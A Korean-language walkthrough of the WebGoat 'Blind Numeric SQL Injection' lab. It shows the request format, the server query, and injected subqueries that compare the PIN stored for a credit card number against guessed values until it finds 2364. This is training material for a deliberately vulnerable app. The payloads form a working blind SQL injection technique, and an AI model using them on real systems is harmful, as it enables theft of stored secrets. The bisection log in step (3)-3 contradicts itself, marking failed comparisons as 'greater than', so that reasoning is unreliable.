WebGoat(웹고트) Blind Numeric SQL Injection

WebGoat(웹고트) Blind Numeric SQL Injection

 

pins 테이블에서 cc_number 컬럼 값이 1111222233334444인 pin 컬럼 값을 찾으면 문제해결

(1) Window xp에서 http://victim:8080/WebGoat/attack 사이트로 이동하여 목록에서 Blind Numeric SQL Injection을 찾아 이동합니다. (webgoat / webgoat)

 

(2) 사용자 값이 서버로 전달되는 과정을 확인합니다.

=> Account Number: 계좌번호 입력

=> 전달과정은

      POST attack?Screen=35&menu=1100

      accunt_number=101&Submit=Go!

=> 서버 내부에서는 

      select * from accounts where account_number=101

      존재하는 경우 Account number is valid. / 존재하지 않는 경우 Invalid account number.

 

(3) 공격자가 원하는 내용을 얻기 위해 값을 조작합니다.

공격자가 원하는 것은 cc_number가 1111222233334444인 pin 컬럼 값!

 

공격 쿼리 형식은 다음과 같습니다.

입력값 > select * from accounts where account_number=101 and (select pin from pins where cc_number='1111222233334444') = 입력 값

=> pins 테이블에서 cc_number가 1111222233334444인 pin값을 조회하여 그 값이 입력 값과 동일한지 확인

=> 입력 값이 찾고자 하는 pin값과 동일하면 Account number is valid.

=> 입력 값이 찾고자 하는 pin값과 동일하지 않다면 Invalid account number.

 

(3)-1 공격자가 원하는 정보를 조작하는 쿼리를 추가해봅니다. 해당 입력값을 넣고 GO를 클릭합니다.(빨간색 입력)

입력값 > select * from accounts where account_number=101 and (select pin from pins where cc_number='1111222233334444') > 2000

=> 찾고자 하는 pin값은 2000보다 큽니다.

 

(3)-2 해당 입력값을 넣고 GO를 클릭합니다.(빨간색 입력)

입력값 > select * from accounts where account_number=101 and (select pin from pins where cc_number='1111222233334444') > 3000

=> 찾고자 하는 pin값은 3000보다 작습니다.

 

(3)-3 위와 같은 방식으로 확인하면서 값을 찾습니다.

> 2500 입력 시 동일하지 않음 => 2500 초과

> 2300 입력 시 동일함 => 2300 초과

> 2350 입력 시 동일함 => 2350 초과

> 2400 입력 시 동일하지 않음 => 2400 초과

> 2370 입력 시 동일하지 않음 => 2370 초과

> 2360 입력 시 동일함 => 2360 초과

> 2365 입력 시 동일하지 않음 => 2365 미만

> 2363 입력 시 동일함 => 2363 초과

= 2364 입력 시 동일함 => pin 값은 2364

 

(4) 결과확인

=> 2364 입력 후 Go를 클릭하면 문제가 해결됩니다.